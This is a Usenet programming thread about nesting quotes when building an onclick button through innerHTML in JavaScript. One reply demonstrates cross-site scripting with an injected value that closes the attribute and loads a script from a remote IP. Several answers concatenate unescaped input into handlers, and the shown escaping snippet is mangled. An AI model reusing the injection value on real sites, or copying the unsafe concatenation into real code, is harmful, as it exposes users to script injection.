HTML: <html> <body> <span id="nav"></span> </body> </html> JavaScript: <script> var s = document.getElementById('nav'), num = 0, fn = " a new field name "; /* in my actual code, the var s represent an element dynamically created but to get key point across I'm using static element here */ s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; var newFN = function(f,n) { console.log(f,n); } </script> Intention: for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters Problem: Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. Thanks.
![]() |
0 |
![]() |
On Sun, 11 Dec 2016 16:23:46 -0800 (PST), justaguy wrote: > HTML: > <html> > <body> > <span id="nav"></span> > </body> > </html> > > JavaScript: > <script> > > var s = document.getElementById('nav'), > num = 0, > fn = " a new field name "; > /* in my actual code, the var s represent an element dynamically created > but to get key point across I'm using static element here > */ > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > > var newFN = function(f,n) { > console.log(f,n); > } > > </script> > > Intention: > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters > > Problem: > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. > > Thanks. Make a rule for yourself. For me, I always use double quotes (") for HTML and JavaScript codes since CSS requires double quote to be the quote character. The only exception is when assigning HTML code into `innerHTML`/`outerHTML` properties where I'll use single quotes ('). If the HTML code happens to require single quotes too, I'll escape them. e.g.: ele.innerHTML = '<span class="notice">There\'s an input error</b>';
![]() |
0 |
![]() |
justaguy <lichunshen84@gmail.com> writes: >s.innerHTML = " " + fn + " <input type='button' value='x' To make it more readable, intersperse line breaks s.innerHTML = " " + fn + " <input type='button' value='x' ... and use helper functions: q = x => '"' + x + '"'; ... "newFN( " + q( fn ) + ", " ...
![]() |
0 |
![]() |
ram@zedat.fu-berlin.de (Stefan Ram) writes: >justaguy <lichunshen84@gmail.com> writes: >>s.innerHTML = " " + fn + " <input type='button' value='x' >To make it more readable, intersperse line breaks >s.innerHTML = " " >+ fn >+ " <input type='button' value='x' Due to automatic semicolon insertation, this might not always work. Well. So, maybe: s.innerHTML = " " + fn + " <input type='button' value='x' ... (I first wrote it this way, but then I noticed that the �+� sign was moving. So I wanted to align the �+� signs.)
![]() |
0 |
![]() |
justaguy <lichunshen84@gmail.com> wrote: > > HTML: > <html> > <body> > <span id="nav"></span> > </body> > </html> > > JavaScript: > <script> > > var s = document.getElementById('nav'), > num = 0, > fn = " a new field name "; > /* in my actual code, the var s represent an element dynamically created > but to get key point across I'm using static element here > */ > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > > var newFN = function(f,n) { > console.log(f,n); > } > > </script> > > Intention: > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters > > Problem: > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. > > Thanks. This should work: <html> <body> <span id="nav"></span> <script> var s = document.getElementById('nav'), num = 0, fn = " a new field name "; /* in my actual code, the var s represent an element dynamically created but to get key point across I'm using static element here */ s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>"; var newFN = function(f,n) { console.log(f,n); } </script> </body> </html> You can make quotes within quotes by escaping them using \. This way you can pass the arguments as strings. -- _________________________ / _ \ | __ _ _| |__ ___ _ _ | | / _| || | '_ \/ -_) '_| | | \__|\_, |_.__/\___|_| | \ |__/ / ------------------------- \ ,__, \ (oo)____ (__) )\ ||--|| *
![]() |
0 |
![]() |
On Monday, December 12, 2016 at 12:42:54 AM UTC-5, JJ wrote: > On Sun, 11 Dec 2016 16:23:46 -0800 (PST), justaguy wrote: > > HTML: > > <html> > > <body> > > <span id="nav"></span> > > </body> > > </html> > > > > JavaScript: > > <script> > > > > var s = document.getElementById('nav'), > > num = 0, > > fn = " a new field name "; > > /* in my actual code, the var s represent an element dynamically created > > but to get key point across I'm using static element here > > */ > > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > > > > var newFN = function(f,n) { > > console.log(f,n); > > } > > > > </script> > > > > Intention: > > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters > > > > Problem: > > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. > > > > Thanks. > > Make a rule for yourself. > > For me, I always use double quotes (") for HTML and JavaScript codes since > CSS requires double quote to be the quote character. > > The only exception is when assigning HTML code into `innerHTML`/`outerHTML` > properties where I'll use single quotes ('). If the HTML code happens to > require single quotes too, I'll escape them. e.g.: > > ele.innerHTML = '<span class="notice">There\'s an input error</b>'; Ok. So, which quotes do I need to escape in this case? I attempted to change s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; to s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>"; by escape the 1 double quotes before a comma. The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect. Thanks.
![]() |
0 |
![]() |
On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote: > justaguy <> wrote: > > > > HTML: > > <html> > > <body> > > <span id="nav"></span> > > </body> > > </html> > > > > JavaScript: > > <script> > > > > var s = document.getElementById('nav'), > > num = 0, > > fn = " a new field name "; > > /* in my actual code, the var s represent an element dynamically created > > but to get key point across I'm using static element here > > */ > > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > > > > var newFN = function(f,n) { > > console.log(f,n); > > } > > > > </script> > > > > Intention: > > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters > > > > Problem: > > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. > > > > Thanks. > > This should work: > > <html> > <body> > <span id="nav"></span> > <script> > > var s = document.getElementById('nav'), > num = 0, > fn = " a new field name "; > /* in my actual code, the var s represent an element dynamically created > but to get key point across I'm using static element here > */ > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>"; > > var newFN = function(f,n) { > console.log(f,n); > } > > </script> > > </body> > </html> Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
![]() |
0 |
![]() |
justaguy <lichunshen84@gmail.com> wrote: > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote: >> justaguy <> wrote: >> > >> > HTML: >> > <html> >> > <body> >> > <span id="nav"></span> >> > </body> >> > </html> >> > >> > JavaScript: >> > <script> >> > >> > var s = document.getElementById('nav'), >> > num = 0, >> > fn = " a new field name "; >> > /* in my actual code, the var s represent an element dynamically created >> > but to get key point across I'm using static element here >> > */ >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; >> > >> > var newFN = function(f,n) { >> > console.log(f,n); >> > } >> > >> > </script> >> > >> > Intention: >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters >> > >> > Problem: >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. >> > >> > Thanks. >> >> This should work: >> >> <html> >> <body> >> <span id="nav"></span> >> <script> >> >> var s = document.getElementById('nav'), >> num = 0, >> fn = " a new field name "; >> /* in my actual code, the var s represent an element dynamically created >> but to get key point across I'm using static element here >> */ >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>"; >> >> var newFN = function(f,n) { >> console.log(f,n); >> } >> >> </script> >> >> </body> >> </html> > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks. > This should pass the num variable: s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
![]() |
0 |
![]() |
JJ wrote: > For me, I always use double quotes (") for HTML and JavaScript codes since > CSS requires double quote to be the quote character. Then you are proceeding from a false assumption: <https://www.w3.org/TR/css-syntax-3/#consume-a-token0> > The only exception is when assigning HTML code into > `innerHTML`/`outerHTML` properties where I'll use single quotes ('). If > the HTML code happens to require single quotes too, I'll escape them. > e.g.: > > ele.innerHTML = '<span class="notice">There\'s an input error</b>'; The resulting markup would not be valid: you have started a “span” element and ended a “b” element. -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
![]() |
0 |
![]() |
Stefan Ram wrote: > ram@zedat.fu-berlin.de (Stefan Ram) writes: >>justaguy <lichunshen84@gmail.com> writes: >>>s.innerHTML = " " + fn + " <input type='button' value='x' >>To make it more readable, intersperse line breaks >>s.innerHTML = " " >>+ fn >>+ " <input type='button' value='x' > > Due to automatic semicolon insertation, this might not always work. This will always work. > Well. So, maybe: > > s.innerHTML = > " " + > fn + > " <input type='button' value='x' Whatever operator code style you choose, the following lines should be indented: s.innerHTML = " " + fn + " <input type='button' value='x'…"; In implementations of ECMAScript 2016 one may forego the concatenation with a template literal: s.innerHTML = ` ${fn} <input type="button" value="x"…`; Of course, accessing the “innerHTML” property is seldom justified to begin with. > ... > > (I first wrote it this way, but then I noticed that the > »+« sign was moving. So I wanted to align the »+« signs.) That is what I do: s = "foo" + bar + "baz"; -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
![]() |
0 |
![]() |
cyber@example.com wrote: ^^^^^^^^^^^^^^^^^ The From header field of your postings so far is disregarding Netiquette. Internet is the thing with cables; Usenet is the thing with *people*. Also, the address part of the From header field of your postings so far is violating RFC 5536, § 3.1.2 [1] and disregarding RFC 2606, § 2 [2]. Otherwise it would have been possible to notify you of your first mistake via e-mail [3]. Scorefile adjusted accordingly. _______ [1] <https://tools.ietf.org/html/rfc5536#section-3.1.2> [2] <https://tools.ietf.org/html/rfc2606#section-2> [3] <http://www.interhack.net/pubs/munging-harmful/> > var s = document.getElementById('nav'), > num = 0, > fn = " a new field name "; > /* in my actual code, the var s represent an element dynamically created > but to get key point across I'm using static element here > */ > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = > 'newFN(\""+fn+" + \", \"+num+\");'>"; The "field name" does not belong in the attribute value, and in a *single*- quoted string literal *double*-quotes do _not_ need to be escaped (and vice- versa). Because “num” and “fn” are global, they can be used as-is. However, the expanded value of “fn” needs to escaped to avoid code injection: s.innerHTML = " " + fn.replace(/&/g, "&").replace(/</g, "<") + " <input type='button' value='x' onclick='newFN(fn, num);'>"; But if one insists that the expansions be in the attribute value, they must be escaped, too: String.prototype.escapeHTML = function () { return this .replace(/&/g, "&") .replace(/</g, "<") .replace(/"/g, "\\$&"); }; fn = fn.escapeHTML(); num = num.escapeHTML(); This is another reason why it is a bad idea to access the “innerHTML” property this way. The proper way does not require escaping: /* standards-compliant */ while (s.lastChild) s.removeChild(s.lastChild); /* proprietary */ s.innerHTML = ""; /* all */ s.appendChild(document.createTextNode("\u00a0 " + fn + " "); var input = document.createElement("input"); /* ECMAScript 2016 */ Object.assign(input, { type: "button", value: "x", onclick: function () { newFN(fn, num); } }); /* other */ input.type = "button"; input.value = "x"; input.onclick = function () { newFN(fn, num); }; /* all */ s.appendChild(input); -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
![]() |
0 |
![]() |
On Monday, December 12, 2016 at 3:20:03 PM UTC-5, Thomas 'PointedEars' Lahn= wrote: > wrote: > ^^^^^^^^^^^^^^^^^ > The From header field of your postings so far is disregarding Netiquette.= =20 > Internet is the thing with cables; Usenet is the thing with *people*. >=20 > Also, the address part of the From header field of your postings so far > is violating RFC 5536, =C2=A7 3.1.2 [1] and disregarding RFC 2606, =C2=A7= 2 [2]. =20 > Otherwise it would have been possible to notify you of your first mistake= =20 > via e-mail [3]. >=20 > Scorefile adjusted accordingly. >=20 > _______ > [1] <https://tools.ietf.org/html/rfc5536#section-3.1.2> > [2] <https://tools.ietf.org/html/rfc2606#section-2> > [3] <http://www.interhack.net/pubs/munging-harmful/> >=20 > > var s =3D document.getElementById('nav'), > > num =3D 0, > > fn =3D " a new field name "; > > /* in my actual code, the var s represent an element dynamically create= d > > but to get key point across I'm using static element here > > */ > > s.innerHTML =3D " " + fn + " <input type=3D'button' value=3D'x' o= nclick =3D > > 'newFN(\""+fn+" + \", \"+num+\");'>"; >=20 > The "field name" does not belong in the attribute value, and in a *single= *- > quoted string literal *double*-quotes do _not_ need to be escaped (and vi= ce- > versa). Because =E2=80=9Cnum=E2=80=9D and =E2=80=9Cfn=E2=80=9D are globa= l, they can be used as-is. =20 > However, the expanded value of =E2=80=9Cfn=E2=80=9D needs to escaped to a= void code=20 > injection: >=20 > s.innerHTML =3D " " > + fn.replace(/&/g, "&").replace(/</g, "<") > + " <input type=3D'button' value=3D'x' onclick=3D'newFN(fn, num);'>"; >=20 > But if one insists that the expansions be in the attribute value, they mu= st=20 > be escaped, too: >=20 > String.prototype.escapeHTML =3D function () { > return this > .replace(/&/g, "&") > .replace(/</g, "<") > .replace(/"/g, "\\$&"); > }; >=20 > fn =3D fn.escapeHTML(); > num =3D num.escapeHTML(); > =20 > This is another reason why it is a bad idea to access the =E2=80=9CinnerH= TML=E2=80=9D=20 > property this way. The proper way does not require escaping: >=20 > /* standards-compliant */ > while (s.lastChild) s.removeChild(s.lastChild); >=20 > /* proprietary */ > s.innerHTML =3D ""; >=20 > /* all */ > s.appendChild(document.createTextNode("\u00a0 " + fn + " "); >=20 > var input =3D document.createElement("input"); >=20 > /* ECMAScript 2016 */ > Object.assign(input, { > type: "button", > value: "x", > onclick: function () { newFN(fn, num); } > }); >=20 > /* other */ > input.type =3D "button"; > input.value =3D "x"; > input.onclick =3D function () { newFN(fn, num); }; >=20 > /* all */ > s.appendChild(input); >=20 Let me try the existing coding first, the following code generated an error= of var fn not defined. Fyi, the fn content is simple text, ie, "a new fie= ld name". s.innerHTML =3D " "=20 + fn + =20 " <input type=3D'button' value=3D'x' onclick =3D 'newFN(fn,num);'>"; Thanks.
![]() |
0 |
![]() |
On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote: > justaguy <> wrote: > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote: > >> justaguy <> wrote: > >> > > >> > HTML: > >> > <html> > >> > <body> > >> > <span id="nav"></span> > >> > </body> > >> > </html> > >> > > >> > JavaScript: > >> > <script> > >> > > >> > var s = document.getElementById('nav'), > >> > num = 0, > >> > fn = " a new field name "; > >> > /* in my actual code, the var s represent an element dynamically created > >> > but to get key point across I'm using static element here > >> > */ > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > >> > > >> > var newFN = function(f,n) { > >> > console.log(f,n); > >> > } > >> > > >> > </script> > >> > > >> > Intention: > >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters > >> > > >> > Problem: > >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. > >> > > >> > Thanks. > >> > >> This should work: > >> > >> <html> > >> <body> > >> <span id="nav"></span> > >> <script> > >> > >> var s = document.getElementById('nav'), > >> num = 0, > >> fn = " a new field name "; > >> /* in my actual code, the var s represent an element dynamically created > >> but to get key point across I'm using static element here > >> */ > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>"; > >> > >> var newFN = function(f,n) { > >> console.log(f,n); > >> } > >> > >> </script> > >> > >> </body> > >> </html> > > > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks. > > > > This should pass the num variable: > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>"; Somehow I missed your response. Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now: s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>"; It works perfectly. Thank you.
![]() |
0 |
![]() |
On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: > On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote: > > justaguy <> wrote: > > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote: > > >> justaguy <> wrote: > > >> > > > >> > HTML: > > >> > <html> > > >> > <body> > > >> > <span id="nav"></span> > > >> > </body> > > >> > </html> > > >> > > > >> > JavaScript: > > >> > <script> > > >> > > > >> > var s = document.getElementById('nav'), > > >> > num = 0, > > >> > fn = " a new field name "; > > >> > /* in my actual code, the var s represent an element dynamically created > > >> > but to get key point across I'm using static element here > > >> > */ > > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > > >> > > > >> > var newFN = function(f,n) { > > >> > console.log(f,n); > > >> > } > > >> > > > >> > </script> > > >> > > > >> > Intention: > > >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters > > >> > > > >> > Problem: > > >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. > > >> > > > >> > Thanks. > > >> > > >> This should work: > > >> > > >> <html> > > >> <body> > > >> <span id="nav"></span> > > >> <script> > > >> > > >> var s = document.getElementById('nav'), > > >> num = 0, > > >> fn = " a new field name "; > > >> /* in my actual code, the var s represent an element dynamically created > > >> but to get key point across I'm using static element here > > >> */ > > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>"; > > >> > > >> var newFN = function(f,n) { > > >> console.log(f,n); > > >> } > > >> > > >> </script> > > >> > > >> </body> > > >> </html> > > > > > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks. > > > > > > > This should pass the num variable: > > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>"; > > Somehow I missed your response. > > Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now: > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>"; > > It works perfectly. Thank you. Ok, now I have a new requirement, that is, to add an ID to the button. the value of the ID is made of a string and a number. The following code still hasn't escaped some quotes. How to fix it? Thanks. var s2; s2 = " " + fn + " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
![]() |
0 |
![]() |
On Mon, 12 Dec 2016 09:56:48 -0800 (PST), justaguy wrote: > > Ok. So, which quotes do I need to escape in this case? > > I attempted to change > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; > to > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>"; > by escape the 1 double quotes before a comma. > The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect. > > Thanks. Let's shorten and focus on this particular part of the code: "<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>" Separating by the (") characters, when it's formatted, it would end up as: "<input type='button' value='x' onclick = 'newFN(" //string + //operator fn //variable + //operator " + " //string , //operator " +num+);'>" //string Which has incorrect syntax since the comma end up as a JavaScript operator, instead of a string. To ease writing confusing code, format it like above first. And since `fn` is a string, it must be quoted also (otherwise, `fn` contents will be used as an expression). Keep in mind that we're createing a HTML code, so the quotes for the JavaScript code in the `onclick` attribute must be escaped at HTML level. e.g.: '<input type="button" value="x" onclick = "newFN('' //string + //operator fn //string + //operator '', ' //string + //operator num //number + //operator ');">'; //string Here, I'm using (') for the JavaScript quote and (") for the HTML code because even if I were to use the quotes the other way around, the browser will convert (') to (").
![]() |
0 |
![]() |
On Tue, 13 Dec 2016 18:18:36 +0700, JJ wrote: > On Mon, 12 Dec 2016 09:56:48 -0800 (PST), justaguy wrote: >> >> Ok. So, which quotes do I need to escape in this case? >> >> I attempted to change >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; >> to >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + \"," +num+);'>"; >> by escape the 1 double quotes before a comma. >> The text editor seems to indicate that both parameters can be passed down now but browser complains syntax incorrect. >> >> Thanks. > > Let's shorten and focus on this particular part of the code: > > "<input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>" > > Separating by the (") characters, when it's formatted, it would end up as: > > "<input type='button' value='x' onclick = 'newFN(" //string > + //operator > fn //variable > + //operator > " + " //string > , //operator > " +num+);'>" //string > > Which has incorrect syntax since the comma end up as a JavaScript operator, > instead of a string. > > To ease writing confusing code, format it like above first. And since `fn` > is a string, it must be quoted also (otherwise, `fn` contents will be used > as an expression). Keep in mind that we're createing a HTML code, so the > quotes for the JavaScript code in the `onclick` attribute must be escaped at > HTML level. e.g.: > > '<input type="button" value="x" onclick = "newFN('' //string > + //operator > fn //string > + //operator > '', ' //string > + //operator > num //number > + //operator > ');">'; //string > > Here, I'm using (') for the JavaScript quote and (") for the HTML code > because even if I were to use the quotes the other way around, the browser > will convert (') to ("). So, the complete code should be: s.innerHTML = ' ' + fn + '<input type="button" value="x" onclick = "newFN('' + fn + '', ' + num + ');">';
![]() |
0 |
![]() |
justaguy <lichunshen84@gmail.com> wrote: > On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: >> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote: >> > justaguy <> wrote: >> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote: >> > >> justaguy <> wrote: >> > >> > >> > >> > HTML: >> > >> > <html> >> > >> > <body> >> > >> > <span id="nav"></span> >> > >> > </body> >> > >> > </html> >> > >> > >> > >> > JavaScript: >> > >> > <script> >> > >> > >> > >> > var s = document.getElementById('nav'), >> > >> > num = 0, >> > >> > fn = " a new field name "; >> > >> > /* in my actual code, the var s represent an element dynamically created >> > >> > but to get key point across I'm using static element here >> > >> > */ >> > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>"; >> > >> > >> > >> > var newFN = function(f,n) { >> > >> > console.log(f,n); >> > >> > } >> > >> > >> > >> > </script> >> > >> > >> > >> > Intention: >> > >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters >> > >> > >> > >> > Problem: >> > >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation. >> > >> > >> > >> > Thanks. >> > >> >> > >> This should work: >> > >> >> > >> <html> >> > >> <body> >> > >> <span id="nav"></span> >> > >> <script> >> > >> >> > >> var s = document.getElementById('nav'), >> > >> num = 0, >> > >> fn = " a new field name "; >> > >> /* in my actual code, the var s represent an element dynamically created >> > >> but to get key point across I'm using static element here >> > >> */ >> > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>"; >> > >> >> > >> var newFN = function(f,n) { >> > >> console.log(f,n); >> > >> } >> > >> >> > >> </script> >> > >> >> > >> </body> >> > >> </html> >> > > >> > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks. >> > > >> > >> > This should pass the num variable: >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>"; >> >> Somehow I missed your response. >> >> Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now: >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>"; >> >> It works perfectly. Thank you. > > Ok, now I have a new requirement, that is, to add an ID to the button. > the value of the ID is made of a string and a number. > > The following code still hasn't escaped some quotes. How to fix it? Thanks. > > var s2; > s2 = " " > + fn + > " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>"; This should work: s2.innerHTML = " " + fn + " <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>"; If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be interpreted as a variable. And num and the + operator should be outside the quotes since num is meant to be a variable and + is meant to be the concatenation operator, but if you put them between quotes they will just be seen as being the strings "num" and "+" respectively. BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed.
![]() |
0 |
![]() |
JJ wrote: var fn = '')"><script src="https://123.45.67.8/malware.js"></script>'; > s.innerHTML = > ' ' + fn + > '<input type="button" value="x" onclick = "newFN('' + > fn + '', ' + num + ');">'; -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
![]() |
0 |
![]() |
cyber@example.com wrote: > justaguy <lichunshen84@gmail.com> wrote: >> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: >>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com >>> wrote: >>> > justaguy <> wrote: >>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com >>> > > wrote: >>> > >> var newFN = function(f,n) { ^^^ >>> > >> console.log(f,n); >>> > >> } > […] > This should work: > > s2.innerHTML = " " > + fn + > " <input type='button' id='NewEl"+num+"' value='x' onclick = ^ ^ > 'newFN(\""+fn+"\" + "+num+");'>"; ^^^^^^^^^^^^^^ It does not. (The value of) “num” has to be (the value of) the *second* argument to newFN(). > If NewEl is meant to be the string "NewEl" then you need to put it between > quotes or else it will be be interpreted as a variable. > And num and the + operator should be outside the quotes since num is meant > to be a variable and + is meant to be the concatenation operator, but if > you put them between quotes they will just be seen as being the strings > "num" and "+" respectively. > > BTW the s2 button would call newFN while leaving n undefined so that > parameter could be removed. What a load of nonsense. Blind leading the blind. -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
![]() |
0 |
![]() |
Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote: > cyber@example.com wrote: > >> justaguy <lichunshen84@gmail.com> wrote: >>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: >>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com >>>> wrote: >>>> > justaguy <> wrote: >>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com >>>> > > wrote: >>>> > >> var newFN = function(f,n) { > ^^^ >>>> > >> console.log(f,n); >>>> > >> } >> […] >> This should work: >> >> s2.innerHTML = " " >> + fn + >> " <input type='button' id='NewEl"+num+"' value='x' onclick = > ^ ^ >> 'newFN(\""+fn+"\" + "+num+");'>"; > ^^^^^^^^^^^^^^ > It does not. (The value of) “num” has to be (the value of) the *second* > argument to newFN(). > It does work. In javascript parameters default to undefined so if newFN is called with only 1 argument then it will work and the second parameter will be set to undefined.
![]() |
0 |
![]() |
cyber@example.com wrote: > Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote: >> cyber@example.com wrote: >>> justaguy <lichunshen84@gmail.com> wrote: >>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote: >>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com >>>>> wrote: >>>>> > justaguy <> wrote: >>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, >>>>> > > cy...@example.com wrote: >>>>> > >> var newFN = function(f,n) { >> ^^^ >>>>> > >> console.log(f,n); >>>>> > >> } >>> […] >>> This should work: >>> >>> s2.innerHTML = " " >>> + fn + >>> " <input type='button' id='NewEl"+num+"' value='x' onclick = >> ^ ^ >>> 'newFN(\""+fn+"\" + "+num+");'>"; >> ^^^^^^^^^^^^^^ >> It does not. (The value of) “num” has to be (the value of) the *second* >> argument to newFN(). > > It does work. For suitable values of “work”. > In javascript There is no “javascript”. > parameters default to undefined In implementations of ECMAScript, the value of formal parameters for which no argument was passed usually defaults to the “undefined” value. > so if newFN is called with only 1 argument then it will work See above. > and the second parameter will be set to undefined. This is obviously not what the OP wants, so it is bad advice. Get a (real) name, and stop misusing the example.com domain. .. .. .. .. .. -- PointedEars FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix> <https://github.com/PointedEars> | <http://PointedEars.de/wsvn/> Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
![]() |
0 |
![]() |
